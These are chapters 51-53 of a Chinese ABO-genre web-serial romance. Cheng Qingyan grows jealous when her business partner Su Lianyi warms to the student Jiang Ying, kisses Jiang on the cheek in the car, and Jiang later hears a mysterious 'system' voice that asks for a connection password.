如果她没记错,姜映和苏敛懿是在两分钟前,经过她的介绍认识的吧,现在是什么情况? 把她丢在一边,热火朝天地聊了起来。 狗东西不是话少吗,怎么和苏敛懿主动说怎么多。 直博,她都不知道狗东西直博了。 程卿言很不乐意地看了眼女生,桌下,穿着高跟鞋的脚直接踹到了女生小腿上。 姜映眉心一颤,由于太突然,她差点呼出声。 苏敛懿见她脸色不对,关心:“怎么了?” 姜映回神:“没事没事。” 在她说没事时,程卿言又踹了她一脚,她看向女人,无辜地眨了眨眼。 狗东西想萌混过关? 程卿言笑了一声,服务员正好在这时来上菜了,她才收回脚,放过了女生。 她们在苏敛懿投资的餐厅吃饭,苏敛懿作为东道主,这顿饭自然会是她请,在用餐时,她还认真地给她们介绍了菜品。 程卿言问道:“苏总好像对餐食很感兴?” 上次的清吧,这次的餐厅,都和吃喝有关。 苏敛懿道:“属于家族爱好吧,家里人都挺喜欢做吃的,我对下厨也感兴趣,就开了几家餐厅玩一玩。” 原来如此,程卿言点头。 苏敛懿:“程总喜欢做饭?” “我在这方面没天赋,很少进厨房。”程卿言不只是没天赋,她是真的不喜欢动手。 她也不理解做饭有什么意思,她身边挺多人都喜欢,比如余简予,秦助理,姜映,现在又多了苏敛懿。 结束用餐那会儿,姜映起身,准备去一趟洗手间。 苏敛懿主动道:“需要我带你去吗?” 姜映拒绝:“不用了,我自己去就行,很快就回来。” 苏敛懿嗯了一声,眼眸带笑看着姜映的背影,直到背影消失在转角处,她才回头。 不太对劲。 一家集团的掌权人,为什么要对初次见面的学生这么热情? 程卿言想到了苏敛懿见到何助时好像也是这种态度,思忖片刻,她主动问道:“苏总好像对姜映很感兴趣?” “确实很感兴趣,”苏敛懿如实说,”我对她有一种一见如故的感觉。” 闻言,程卿言指尖轻轻点了点桌面,微微警惕地看了眼苏敛懿。 一见如故,还是一见钟情? 何助随意。 姜映不行。 作者有话说: 小姜学坏ing 小姜癖好开发ing 橙总:还有什么惊喜是我不知道的?(答:多着呢) (苏姐不是情敌,放心) 晚安,明天见 第52章 一吻 一吻 第五十二章 苏敛懿可以对何助感兴趣,只要何助不做出影响程氏的事情,程卿言既不好奇,也不在意。 都是成年人,日后无论怎么发展都是她们自己的事。 但是姜映不可以。 程卿言和苏敛懿在某种意义上来讲其实属于同一类型的人。 除了性格不相同,她们的身价,样貌,家境不相上下,目前都是单身未婚,对于想要的事物,都会竭尽所能去得到,要强,不服输。 目前程氏和苏氏刚开始合作,城西科技园项目对程卿言而言,意义重大,她不希望有意外发生,自然不可能和苏敛懿闹矛盾。 因此,程卿言不希望苏敛懿对姜映感兴趣,她内心慎重,但不会将其表现出来,语气自然随和,像是闲聊一般:“是哪一种兴趣?” 苏敛懿笑着说:“说不清楚,可能是想把她当妹妹那种感兴趣。 妹妹。 正经妹妹,还是情妹妹。 苏敛懿为什么总是对她身边的人感兴趣,一家企业的掌权人没有正经事要忙吗,苏氏要倒闭了? 程卿言在心里吐槽几句,面色和气,似真似假地打趣:“苏总前几日不是说对何助感兴趣吗,那么快就要换妹妹了?” “妹妹啊,当然是越多越好,”苏敛懿也不是吃素的,虽然程卿言掩饰得很好,但关心则乱,她不经意间察觉到了程卿言神色上的轻微异常,眉尾轻轻扬了扬,模糊地回了一句,还问,“程总愿意把姜映妹妹分享出来吗?” 她虽然不像余简予那样八卦,但程卿言这种人的八卦,尤其是摆在眼前的感情八卦,她还是挺好奇的。 上次她提何助的时候,程卿言是怎么说的来着,好像是“那是何助的私事,你想去认识就去认识,我不会干涉”。 现在程卿言可不会那样无所谓了,她说:“我觉得苏总好像不缺姜映这个妹妹。” 果然是她想的那样。 苏敛懿笑了笑,也不开玩笑了,正经说:“不是那种妹妹,我是想把姜映当晚辈喜欢的妹妹,和何助不一样。” 这种事情上没必要说谎,眸光交接,点到为止,都懂了对方的意思。 苏敛懿想要真妹妹。 程卿言想要情妹妹。 都是妹妹,但属性不一样,不会起冲突,不会影响到合作,程卿言放心了许多。 苏敛懿抿了口红酒,闲聊道:“姜映看起来挺乖的,很合我的眼缘。” “也合我的眼缘,”程卿言幽幽说,“不过也不乖的时候。” 苏敛懿笑了一声,出主意:“就是太惯着了,训几顿就老实了,年轻人都这样,爱装可怜博同情,程总可别心疼了,舍不得收拾。” 真是太惯着了,alpha才不乖的? 不过目前为止,姜映总体来说还是很乖的,只是偶尔犯倔,没有到需要收拾的地步。 程卿言在这方面没经验,苏敛懿看起来经验丰富,等以后有需要了,她再向她认真讨教也不迟。 苏敛懿说:“程总应该知道,苏家到了我这一辈,直系中就只有我一个,我没有姐妹。” “其实我妈咪当初也想再生一个,我很支持她们,我名字都想好了,叫苏裕,玩具也准备了很多,等着妹妹的出生,但她们备孕那一年怎么也怀不上,我妈妈也不想妈咪辛苦折腾了,后来就放弃了。” 她双亲备孕那一年,她好像已满八岁了,如果那年她真有了妹妹,妹妹现在正好和程卿言一样大。 说不准在中学时代还能和程卿言一起上学,一起长大,成为好朋友。 说不准苏氏和程氏能更早合作,强强联合。 程卿言点了点头:“所以你才想要姜映做妹妹?” 姜映确实挺适合当妹妹的,性格好,成绩好,乖乖的。 不过她从来没有产生过姜映做她妹妹的想法,她和苏敛懿的家庭氛围不同,苏敛懿是苏家这一辈中唯一的继承人,她的双亲也很恩爱,一家人和谐友爱,没有任何勾心斗角的事发生,想要妹妹很正常。 但程家复杂事情太多,她小时候过得并不顺遂,她对亲戚没有太多向往,还不如友情可靠。 苏敛懿嗯了一声,她说她对姜映一见如故,这句话并不是假的,她很满意姜映。 她还说:“你不觉得我和她长得挺像的吗?” 程卿言:…… 夸张了苏总。 你们两模两样,除了都是女性,毫无相像之处。 但苏总现在沉迷于认妹妹中,听不进去这些话,她还开始列举相似的地方在哪,眉眼,鼻梁,耳朵…… 程卿言:…… 按照这种趋势下去,过会儿是不是要说姜映是她的亲生妹妹了。 苏敛懿:“过段时间,我和她熟起来了,我就带她回家见我家人,她们应该都会喜欢她。” 程卿言:…… 已经在计划见家长了。 若不是对方亲口说了对姜映只是正经妹妹的喜欢,她真的会不放心。 侧方的脚步声由远及近,程卿言和苏敛懿同时看过去,一直看着妹妹。 去了一趟洗手间的姜映还不知她多了一个姐。 姜映坐下,被她们这样看着,感觉有点别扭,摸了摸脸问道:“我脸上有的东西吗?” 苏敛懿点头:“有美貌。” 和她一样的美貌。 程卿言:…… 姜映:??? 什么,她怎么听不懂,苏总是不是喝多了开始说胡话了。 饭也吃了,大家都不是游手好闲的人,得告别各自做各自的事情了。 苏敛懿拿出手机,对姜映说:“加个微信,以后方便联系。” 啊? 姜映眨了眨眼,以后为什么要联系,她虽然觉得苏敛懿人很好,她不讨厌,不过她没有想过以后要见面。 但是苏敛懿是程卿言的合作伙伴,如果她直接拒绝了,是不是不太好,会不会影响到程卿言的工作。 她不想给女人添麻烦。 她纠结地抿了抿唇,颤着眼睫,求助地看向程卿言。 程卿言双手环胸,嗔了她一眼,方才不是把她晾在一边,和新姐聊得热火朝天吗,这会儿知道看她这个旧姐姐了:“看我做什么,你要加就加,难不成还要我帮忙?” 苏敛懿这种身份地位的人,主动提出加微信,真的不常见。 加了之后,对姜映日后人生事业的发展,只会有好处,不会有坏处,她骂归骂,但她不会阻止的。 姜映哦了一声,犹豫几秒,拿出手机加了苏敛懿的微信。 苏敛懿提醒她:“你把我备注改了,我经常换头像和微信名,不好找。” 姜映点头,垂眸点着屏幕,在她改备注时,程卿言和苏敛懿同时看向她的手机,瞧着她打上了“苏总”二字。 和姐无关。 程卿言嘴角扬了扬。 苏敛懿嘴角撇了一下,她虽然想收认人家做妹妹,但这毕竟是第一次见面,她也不能吓着姜映,不可能直接让人家叫她姐。 等日后见面的次数多了,她把姜映带回家介绍给家人时,她准备一份大礼,再提认妹妹改口之事也不迟。 到时候她准备叫程卿言当见证人,毕竟程卿言是她和姜映认识的牵线人。 苏敛懿和她们一起去了停车场,她先上车,告辞:“下次见。” 在她离开后,姜映才跟着程卿言上了车,刚坐下,女人就开口了,幽幽问题:“今天开心吗?” 姜映点头:“开心。” 程卿言:“因为什么开心?” 姜映眨眨眼,有点不好意识:“和你见面很开心,一起吃饭也很开心。” 程卿言挑了挑眉,哼笑一声:“苏总呢?” “苏总怎么了?”姜映不解。 “你不是和苏总聊得很好嘛,还加了微信,难道不开心?” 不怪她阴阳怪气,她和姜映也认识一段时间了,最初都是用短信发消息,前不就才刚加上微信。 而姜映在认识苏敛懿的第一天,就加了人家的微信,还乐呵呵地说了这么多话,而且是主动说的。 姜映什么意思? 苏敛懿虽然表了态,对姜映没有情爱方面的兴趣,那姜映呢? 程卿言眉心拧了拧,她拥有的美貌财富地位,苏敛懿都有。 她没有的,苏敛懿也有,比如说腺体的健康,家庭的和谐安稳,一手的好厨艺…… 姜映能对她感兴趣,能喜欢上她,是不是说明也会对苏敛懿感兴趣? 姜映不知道她心里所想,她见女人眉心拧了起来,连忙道:“我加她微信,是因为她是你的合作伙伴,我担心拒绝她了会给你添麻烦,如果你不想我加她,我现在把她删掉。” 程卿言制止:“没让你删。” 她不是因为加微信而感到烦躁。 姜映又放下手机,哦了一声,想了想补充道:“我见到她没有开心,也没有不开心,我就是很平静地和她说话。” 至于她为什么话会变多,她好像也解释不清楚,她当时很自然地说了那么多话,好像苏敛懿是值得信赖的人。 不怪程卿言多想,其实姜映也觉得有点奇怪 姜映有些不安,内疚道歉:“对不起,我让你感到不开心了。” 这坏家伙真烦人。 程卿言嗔她一眼,伸手掐了掐她的左脸:“不要总是和我道歉,记住了吗?” 总是和她那么礼貌客气,和别人那么熟络自然,她耐心不好占有欲强,她看见了会不舒服。 姜映点头:“记住了。” 程卿言给她揉了揉她掐的左脸,alpha主动把右脸送到她掌心,乖乖说:“还有这边,这边还没掐。” 一脸求掐的样子。 哪有这样的alpha。 程卿言笑了一声,指腹移到女生的又脸上,细腻光滑,手感很好。 女人没有掐她,只是微微用了力,指腹在alpha脸上摩挲着,从脸颊摸到秀挺的鼻梁,从鼻梁摸到眉眼,再慢慢滑落,最终停在了女生薄薄的嘴唇上。 她好像听过一个说法,嘴唇薄的人,性子薄凉,对情情爱爱的痴念不深。 姜映是这样的人吗? 程卿言是唯物主义,不相信这些迷信的说法,alpha薄不薄情她不知道,她只知道这样的唇,吻起来的感觉肯定很好。 喉咙微微发痒,程卿言深呼一口气,抬眸看着一脸单纯地颤着长睫的alpha,收回了手,不能在摸下去了,不让容易摸出事。 这人能不能学坏些,女人没好气地瞪了她一眼。 姜映无辜:“怎么了?” 程卿言:“想收拾你。” 啊。 姜映认真问到:“你想怎么收拾?” 打她,掐她,踢她,骂她。 只要对方心情能好起来,她都愿意,她不介意被收拾。 程卿言说的收拾和女生想的收拾不是一个意思,不过她没讲出来,讲出来也没用,女生目前接受不了这些。 女人心里轻轻郁闷几息,不解她为什么会对这个小姑娘感兴趣,不仅是她,就连苏敛懿也对姜映感兴趣。 虽然她们的兴趣类型不同,但产生了兴趣是事情。 到处装可爱。 招蜂引蝶。 程卿言给姜映贴上了标签。 这次招到的是没有坏心思的苏敛懿,以后呢? 以后会招惹些什么人。 姜映目前还未满二十一,青涩懵懂的阶段,如果再长几年,社会阅历增加,身上再多一份成熟的气质。 在碚城豺狼虎豹聚集的豪门权贵中,大概会吸引更多的人。 不过,除了苏敛懿这种和她差不多类型的人,会让程卿言有些警惕,多数时候她是自信的,此刻她也是自信的,那些人哪比得上她,她对此一点也不担心。 alpha喜欢过她,和她相处过后,难不成还能看上别人。 不是脑子有问题,就是眼神有问题。 但加上了个期限——再长几年 几年。 程卿言忽然发现她对时间敏感了起来,情绪微微浮动,阻隔贴下的腺体也轻轻颤了几下。 她有机会看见几年后,变得成熟起来的姜映吗? 如果治疗omeg息素紊乱的药物研制最终失败了,她很清楚,她无法看到那时的姜映。 医学史上患有信息素紊乱的omega,最长的存活时间是十五年,没有omega突破这个年限。 而今年是她的第十四年了。 她连一年后的姜映都不定能看见。 会成功吗? 在孙影告诉她特效药已经在最后的试药阶段,并且第一周期的结果显示病人的各项数值朝着好的方向发展之前,她是坚信药物研制会成功的,即使她无限接近最后的期限,她的心态也很好。 可越接近成功,越是有了好消息,她反而会不安。 不安的次数越来越多,近期频频出现,在空闲时总是会去想这件事。 原因是什么? 她感受到她身体机能的下降,体能大不如前,而她还有很多想做的成的事情没来及去做,从而产生的不安。 还是因为姜映的出现,让她开始去想以后? 程卿言说不上来那种感觉,她厌烦她此刻的状态,闭了闭眼,轻轻呼了一口气。 瞬间的时间她想了很多,脑子里虽然很乱,但神色很正常,所有的情绪起伏都藏在了内心深处。 女人不喜于色,但姜映莫名有种感觉,程卿言心情好像不太好。 不是方才那种因为她认识了苏敛懿而出现的瞪她掐她的那种心情不好,而是一种她形容不出来,覆上了一层浓浓迷雾的愁绪。 好似她走进薄雾,薄雾褪去,女人也会消失。 姜映意识到这一点时,心口顿时传来一阵刺痛感,好似那里缺了一块血肉,缺了很多年,早已止血结疤,因此她也一直没注意到这里的缺失。 但此刻伤口忽然裂开,千疮百孔,疼得她额头直冒冷汗,上下牙打颤。 程卿言见她神色不太对,关心道:“你怎么了,哪不舒服?” “心口…有点疼…”姜映面色苍白,说话有些费劲,“应该没事的…嘶…缓缓就行了……” 又是和“易感期”类似的老毛病,还是出现了新问题,程卿言担忧地拿纸巾给她擦了擦汗,痛出这么多汗,还缓什么缓。 她握住女生的手,正准备让秦助理开车去医院,姜映紧疼得紧皱着的眉心舒展开了,心口的疼也以极快的速度褪去,无形的伤口在自动缝合,她有些惊讶,颤着眼睫说:“我好像没事了。” 程卿言:“真的?” 姜映认真感受几秒,嗯了一声:“真的没事了。” 程卿言困惑地看了她一眼,这人到底是什么成分构成的,她之前带姜映去做过全身检查,报告显示她除了无法分泌信息素这一项有问题,其它的器官都很健康。 而且,姜映的信息素其实也没问题。 相处中,她还感受到了姜映异于常人的愈合能力,体力,精力。 那么健康的一个人,时不时却会出现一些小故障。 想带她再去医院检查一次,估计也检查不出什么,程卿言见她已经恢复正常了,心也放了下去,问道:“你的心第一次这样疼吗?” 姜映点头:“是第一次。” 程卿言:“你知道为什么疼起来了?” 姜映也纳闷:“就是很突然,我觉得你心情不好,它就疼。” 程卿言睨了她一眼:…… 若不是知道她不是那种花言巧语的人,她肯定会一巴掌呼过去,谈正经事的时候说什么哄骗omega的情话。 但女生能这样说,大概是真话。 程卿言又问:“那为什么突然又不疼了?” 姜映想了想,一本正经说:“好像是你握住了我的手,它就不疼了。” 程卿言哼笑一声,真是的,alpha真不是在说好听的话哄她吗。 如果是在哄她,她听着确实心情舒畅了许多。 不是在哄她,alpha说的都是事实,那她会更愉悦。 无论如何,方才心里的郁结,因为姜映突然出现的小插曲,已经消散了许多。 程卿言嘴角轻轻扬了扬,问道:“那你现在彻底缓过来没,还需要我握你一会儿吗?” 如果彻底恢复了,女人是不是就会把手收回去。 姜映颤了颤眼睫,她很想说还没缓过来,特别想,她想说谎。 因为有了想说谎的心思,心跳也加快了,神色鬼鬼祟祟显得有些紧张,耳朵也微微泛起了红。 “我……” 程卿言哪会想到alpha的坏心思在逐渐生成中,撇了眼她突然红起来的耳畔,不由得想,无缘无故的红什么耳朵,这是要出现新毛病的节奏? “你别说话了,闭上眼睛,就这样握着休息会儿。”女人柔和地说。 姜映喜上眉梢,朝着她笑了笑,点头嗯了一声。 小傻子。 也不知道在乐什么。 程卿言笑了一声,她也有点累了,阖上了眼睫养神。 她不知道,在她闭眼后,身旁的姜映悄悄睁开眼一直在看她,眸光柔和纯净,柔柔地注视着她。 一会儿看看女人眼尾那颗颜色很浅的痣,一会儿看看她们握在一起的手。 温热,细腻,潮湿。 无端的,平静安稳的感觉又在泛了出来。 明媚的阳光正盛,隔着车窗慢撒在身上,浑身暖洋洋。 * 到了碚城大学附近。 卡宴稳当停下那一秒,程卿言睁开了眼。 姜映拿上书包,和她道别:“我要回学校了。” 程卿言嗯了一声,她也得去上班了:“下次见。” “好, ”姜映颤了颤眼睫,手放到了车把手上,打算开门下车时又回头,深呼一口气,认真地看着女人道:“能和姐姐见面,和姐姐一起吃饭,我很开心。” 虽然上车那会儿程卿言就问过她了,她也回答了,可她还想认真地再表达一次。 alpha清润的声音中带了些羞涩,脸也有些红,但很诚恳,很坚定。 程卿言眸光轻颤,伸手摸了摸她微热的脸颊,凝视着她的眼眸,红唇轻启,泠然嗓音柔而缓:“我还能让你更开心。” 姜映眨眼:“什么?” “这样,”程卿言伸手遮住她的眼睛,欠身在alpha脸颊上落下一吻,似有若无蹭着她的耳朵,吐息,“开心吗姜映?” 作者有话说: 橙总:收拾你 小姜:奖励我??!! 晚安,明天见 第53章 亲她 亲她 第五十三章 姜映开不开心,秦助理不知道。 反正她兴奋激动开心到差点叫出来。 她,秦挚,上辈子做了什么大好事,这辈子何德何能带薪嗑老板的CP,一路开车一路嗑。 除了她,还有哪位助理有她这种运气和福分,她的搭档何助这会儿正在云县忙工作,也无法看老板调戏女大学生,只有她可以! 车的空间就这么大点,即使后排座的人说话声音很小,她也是能听见了,她耳朵又没有聋。 但嗑归嗑,她有着优秀助理的修养,真不该看的,不该听的,她肯定不会去看去听。 应该不会做什么亲密的事情吧。 这会儿已经停车了,她要不要识趣些,主动下车回避,可是开门下车会闹出动静,若是破坏了老板和姜映之间的氛围,她罪过就大了。 于是秦助理轻手轻脚戴上耳机,声音开到最大放起了音乐,同时管好她的眼睛不乱看,不去关注后排座的情况。 后排座此时是什么情况,只有当事人知道。 姜映的眼睛被omega的掌心遮住了,光线消失,掌心的温热覆在她眼睫上时,随之而来的是脸颊上也传来温热柔软的触感,那是…… alpha的眼睫猛得颤动,瞬间热了起来,脸颊烫得能煎荷包蛋了,浑身又烫又僵硬,脑子瞬间成了浆糊,无法思考任何事情。 只知道——女人吻,吻了她的脸。 不仅如此,程卿言还蹭着她的耳朵说:“开心吗姜映?” 她问了之后等了几秒,alpha没有给她回复,她掌心下的眼睫一直颤啊颤,颤得很快,像群蝶震翅飞舞,颤得她掌心发痒。 还有alpha的耳朵,又烫又红,程卿言蹭了几下也不敢蹭了,alpha烫得她也跟着热了起来。 她哼了一声,移开手时,一双泛红的桃花眼映入她的眼眸,alpha不知所措的样子,楚楚可怜,我见犹怜。 眸光下移,瞥见了女生颤动的指尖。 没出息。 轻了一下脸颊就成了这么模样。 又红又烫。 程卿言嘴角上扬,心情愉悦,姜映开不开心她不知道,反正她对女生给出的反应很满意。 女人出声道:“别愣着了。” 姜映颤着卷翘的长睫,一时半会儿无法从凌乱中回神,心跳快得不像话,依旧傻乎乎的,像是没反应过来发生了什么。 “还记得你叫姜映吗?”程卿言问她。 姜映羞涩,眼神闪躲,不好意思和她对视:“记,记得。” “记得我叫什么吗?” “姐姐。” 程卿言摇头,轻笑一声,指尖挑起她的下巴,让她和她对视着,笑音道:“姐姐?” “啊,不是,”姜映脑子麻麻的,稍微回了些神,“我是你,你,你程卿言,我是姜映。” 程卿言嗯了一声,还好没傻,她记得姜映马上要期末考了,若是因为她傻掉了,期末挂科毕不了业,她良心会过意不去。 她拿起一瓶苏打水,贴心地拧开瓶盖递给女生:“喝。” 不喝点凉水,她担心她热到冒烟。 “谢谢你。” 姜映确实很想喝水,微微仰头,乖乖喝水。 程卿言看着女生吞咽时滚动的喉骨,眸光深了一些,呼了一口气,她也有些想喝水了。 姜映喝了小半瓶才停下,脸还是很红润。 程卿言还想再和她玩会儿,但也怕玩坏她,暂时也不追问她是否开心,而且她再不出发去公司,开会就得迟到了:“我得去上班了。” 姜映嗯了一声,眼尾红红的:“那,那我先回学校了,姐姐再见。” “稍等。” 程卿言叫住她,拿出一张湿巾给女生擦了擦脸颊上的口红印,虽然口红印留在alpha脸上挺好看的,但走在大庭广众下像什么话,她可不想让别人看见。 “行了。” 姜映不忘道谢:“谢谢。” 程卿言挑了挑眉,这声谢谢她有点受之有愧,本来就是她弄出来唇印,就该她擦干净。 女人的眸光注视着alpha逐渐远离的背影,待彻底消失时她才收回眼神,按上车窗,开口:“开车。” 车没动。 程卿言看向秦助理,发现她戴着耳机看手机,她给她发了条消息。 【开车去公司】 秦助理瞧见后,立马放下手机,取下耳机,回头道:“抱歉程总,我刚才没听见您说话。” “没事,出发吧。”程卿言不会将这种小事放在心上,她知道秦助理戴耳机的原因。 车身启动,很快远离碚城大学。 程卿言靠着座椅,拿起一瓶苏打水抿了一小口便将其放下了,alpha不在车里了,她就不觉得渴了。 抬起纤细白皙的指尖抚了抚自己的唇,想着女生方才的反应,眉梢轻扬。 没用的alpha。 她在心里嗔骂一句。 一点也不经逗。 不过她轻姜映不全是为了逗她,而是她真的想亲她。 想看女生为她面红耳赤,想看女生为她慌乱。 除此之外,还有别的原因吗? 程卿言若有所思。 车窗没有关紧,开了一道小缝隙,不时吹进来的冷风让她越发冷静清醒,意识到一件事。 她不是因为姜映结交朋友而烦躁,也不是因为姜映加了别的女人的微信而烦躁,而是姜映的态度。 姜映对苏敛懿的态度,明明是初此见面,从前毫无瓜葛,却对苏敛懿那么自然熟络话多。 经过这段时间的相处,她差不多已经清楚了姜映的性格,除了在她的学业上,她会侃侃而谈,话变得很多,其余时候话都较少。 即使在较熟的朋友面前,也是如此。 那为什么要对苏敛懿话多。 程卿言后知后觉自己大概是吃醋了,对方明明喜欢她,在此事上她都有没享受到特殊的对待,初此见面的苏敛懿却可以。 不只是吃醋。 还有嫉妒…… 她在嫉妒。 意识到这种情绪,她微微愣了愣,有些震惊她居然会因为这种事情而嫉妒。 她对姜映又没有很深的情爱之意,仅仅只有浓厚的兴趣与好感,没有上升到喜欢或是爱。 吃醋可以理解,她为什么会嫉妒? 嫉妒这种情绪不应该出现在目前的她身上。 思绪又乱了起来。 她甚至在想,如果苏敛懿对姜映的兴趣和她是同一种类型,她和苏敛懿之间发生了争执,影响到了程氏和苏氏的合作,影响到了城西科技园项目。 她会选择姜映,还是选择事业。 做决定向来果断的她,在这种假设出现时,居然不能再第一时间做出抉择。 她不该不假思索地选择事业吗,程卿言眉心拧了起来。 姜映是在什么时候变得如此影响她的情绪了,影响到的抉择,她对她不只是感兴趣,已经变成了喜欢? 荒谬。 怎么可能。 程卿言呵了一声,不认为她是如此肤浅的人,产生好感已是不易,她怎么可能轻而易举喜欢上别人。 在欲念占主导地位的情况下,她不相信她对姜映是喜欢。 一路沉思,很快到了公司。 程卿言从混乱中思绪中回过神,看了眼时间,离会议开始还有十分钟,她下车坐专属电梯上楼。 秦助理早已准备好她需要用到的文件,她拿在手中径直去了会议室,坐在了主位上。 以她的职位,即使迟到也不会有人敢明目张胆地说什么,但她不喜欢那样,该守时就得守时。 会议进行了一个多小时,再次商量讨论了项目拆迁的事。 回到办公室时将近四点。 程卿言拿出何助整理好发给她的文件,又和余简予商量了些事,时间缓缓流失着。 事情解决后,余简予眉头皱了又皱,叹着气坐在了沙发上:“那我们岂不是元旦都能休息了?” “你还想过休息?”程卿言笑着看她,“现在可不是不务正业的时候。” 不仅不能休息,如果何助那边进展不顺利,她们可能得亲自去一谈云县,但也不麻烦,云县离得近,当天就能折返。 目前的状况是参与项目的所有人都无法休息,每天加班,程卿言之前答应的给秦助理放一个周的假,也得因此推迟,加班费工资翻倍给。 余简予喝咖啡,已经是她今天的第三杯咖啡了,好苦,太苦了:“我知道不能休息,我就是想一想,想一想还不行嘛。” 等科技园项目步入正轨,之后轻松起来了,她一定要去谈一场甜甜的恋爱,充满活力的恋爱,她已经快两年没谈恋爱了。 她决定这次找女大谈,找年轻貌美充满活力的年轻人谈。 程卿言看着电脑:“别想了,快去工作。” “五分钟,再让我休息五分钟。”余简予说。 程卿言挑了挑眉,幽幽道:“你真要休息五分钟吗,你可不是拿固定工资的职员,你在集团也有股份。” 换言之,时间就是金钱。 余简予在程氏的股份虽然很少,但只要有股份,无论多少,每年都能分红,分很大的一笔钱。 她蹭地一下站了起来,几口喝完咖啡,回了自己的办公室工作去了,谁会和钱过意不去,集团盈利好,她的生活才能更好,才有钱谈恋爱。 她谈恋爱舍得花钱,不是送豪车就是送别墅,之前的每一任女友在分手时对她的评价都很好,说她是好人,都是好聚好散,分手后再见面也不会恶语相向。 关门声响起,片刻后办公室又恢复了安静。 程卿言坐在椅子上,眸光看向电脑旁边放着的青竹造型的陶瓷摆件,指尖落上去抚了抚。 质感上层,泛着光泽,细腻光滑。 安安静静任她把玩着,也不会影响她的心绪,比姜映乖多了。 但瓷器没有温度,没有气息,不会发热泛红,即使乖巧安分,却没有alpha好玩。 程卿言眸光晦暗,眼底的略微混乱的情绪浮动着,理不清,几息后轻轻叹了一口。 放下青竹摆件,试图将注意力转移到工作上,但尝试失败,她根本无法集中注意力。 她说余简予不务正业,她又何尝不是。 姜映什么时候对她有这么大的影响了,程卿言眉心轻拧,心里再一次冒出这个问题。 * 姜映从下了车,到走回寝室,这一段路她的思绪全程是凌乱的,变成了卡壳的机械,热到冒烟,无法清晰地思考任何事情。 不记得路上有没有同学和她打招呼,不记得原本晴空万里的天是何时骤变,乌云从何方来,淅淅沥沥,细雨飘落。 在寒风细雨中,大家不是快走就是飞奔起来,只有她红着一张脸,指尖依旧在颤抖,慢吞吞走回了寝室。 她也不记得她是怎么上的楼,开的门,去了浴室换下了淋湿的衣物。 女生傻愣愣地坐在了凳子上,颤动的眸光中带着不自知的震惊与兴奋,指尖很轻,很轻地碰着程卿言吻过的侧脸,轻到有些小心翼翼。 心口酥酥麻麻开始颤动。 像有电流穿过。 不是像,而是真有一道电流穿过,滋滋滋地几声电流声响起,机械声随之响起:【恭喜宿主!!!成功完成亲亲任务,女主…女主?女主??滋滋滋好感值上升,积分加…??…加零!!恭喜恭喜,请宿主再接再厉!】 浑身出现如同静电闪过般的噼里啪啦声,但是不疼,听见系统的声音后,姜映深呼一口气,立马回神,在心里道:【等等,你先别消失,你为什么会出现在我身上?】 【我做的关于程卿言的梦境哪一些是真实的?】 姜映有些着急,系统很难出现一次,她不知道它为何出现,出现的规律是什么,可她有很多疑惑需要它解答,她想抓住这个机会,她将她列在备忘录里的疑惑问了出来。 【拜托,请回答】 【系统?】 没有声音回应,只有轻微的电流声在耳边响着。 并且电流声逐渐减弱,消失前的那一秒,姜映眼前浮现出一行字。 【请呼出连接密码召唤系统,请呼出连接密码召唤系统】 滋。 电流声彻底消失,提示也消失,如同什么都没发生,彻底恢复了平静。 需要密码才能和系统联系上? 连接密码是什么? 姜映皱着眉,陷入了思考,几息后她试着在心里说了她的银行卡密码,学号,生日等等,对她而言有意义的数字。 挨着试了几遍,都是错误的,连接不上系统。 又不见了,依旧什么也不知道,姜映无奈地呼了一口气,她不喜欢这种未知的感觉,但她没有办法,只能接受现状,既来之则安之。 啪嗒一声响,灯光亮了起来。 “妈呀!” 从图书馆回来的周青月吓了一跳,拍了拍胸口压压惊:“映啊,你啥时候回来的,怎么不开灯啊。” 这会儿不到五点,但雨下得很大了,天空乌云密布,室内若是不开灯,就是一片昏暗模糊。 她以为寝室没人,开灯突然瞧见坐在凳子上的姜映,她是易受惊体质,在所难免吓了一跳。 “我回来有一会儿了,在想事情,忘了开灯,”姜映颤睫回神,看着她道,“抱歉啊,吓到你了。” 周青月没有要怪她的意思,笑了笑:“没事没事,坐着的还好是你,要是陌生人,或者不是人,那才吓人。” 姜映见她衣服淋湿了:“你快去洗澡吧,别感冒了。” 周青月嗯了一声,打开衣柜找衣服:“今天这雨太邪乎,中午还是大晴天,突然就下起来。” 她打算等雨停了再回来,但雨越下越大,也不知道啥时候停,图书馆的自助雨伞不是很多,几个人分一把,她和别的同学一起挤着回来的,头发没怎么湿,衣服和鞋湿得差不多了。 若是知道姜映在寝室,她就发消息让她带上雨衣和伞来接她了。 “林溪这会儿还没回来,你知道她去哪了吗?” “不知道,她没说,”早上林溪比姜映先出门,姜映不知道她去哪了,“我发消息问问她需不需要伞。” “行,你问吧,好冷啊,那我先去洗澡了。”周青月冷得发颤,小跑去了浴室。 姜映拿起手机在群里给林溪发了消息,等了一会儿,对方没有回,她又留言:【你如果没伞回不来,就发消息,我来接你】 地砖上有水痕,容易摔倒,她放下手机,先扫了地上的细小垃圾,再拿起拖把拖干净了地板。 几分钟后,重新坐下。 身上的热意已经消失了,脸颊也不再红润,可被女人吻过的那块肌肤依旧麻麻的。 姜映虽然冷静了很多,但无法彻底静下来。 即使女人亲她那几秒,她的眼睛被遮住了,她什么也没看见,但她的身体记住了女人嘴唇的柔软,温度,湿意。 她忘不了。 程卿言留下的口红印可以擦掉,留给她的感觉无法消失,牢牢地刻在了被她吻过的肌肤上,像一道滚烫的烙印,让她过速的心跳无法平息。 姜映长睫颤动,端起杯子喝了几口凉水,发现她此刻不是体表温度高,而是内心在燥热,如果沉睡多年的活火山,即将迸发出滚烫的岩浆,灼烧她的五脏六腑。 而在omega吻她之前,活火山一直被鉴定为不会迸发的死火山。 内心的燥热,燥得她不舒服,她甚至想下楼,在大雨中跑一圈。 她从没想过程卿言会亲她。 今日去见她,其实担心女人会问她礼物的事。 她没有使用,她羞于谈论,但女人没有问她,却亲了她。 亲了她。 程卿言,亲了她。 只要想到这个事,姜映的脑子就会热热的,伸手揉了揉脸颊,眸光颤动。 在她观念中,亲吻是一件较为亲密的事情,一般用来表达喜欢。 她喜欢柚柚,所以每次回家都会把十来斤重的柚柚抱在怀里,捏了捏她的爪子,亲亲它的头。 而程卿言突然亲了她的脸,是不是说明她喜…… 怎,怎么可能。 姜映你在想什么,她捂脸。 她无趣,寡淡,不会说话,还是信息素无能,程卿言那样的人,生活中什么优秀的人没见过,怎么可能会喜欢她。 只是亲吻脸颊而已,在现代社会中这种行为根本算不上什么,也代表不了什么。 女人应该只是一时兴起亲了她,她不该胡思乱想。 姜映站了起来,去了阳台接了一盆凉水洗了脸,企图让脑子变得清醒些,不许再乱想。 突如其来的大雨在六点出头时渐渐停了下来。 天色黑透。 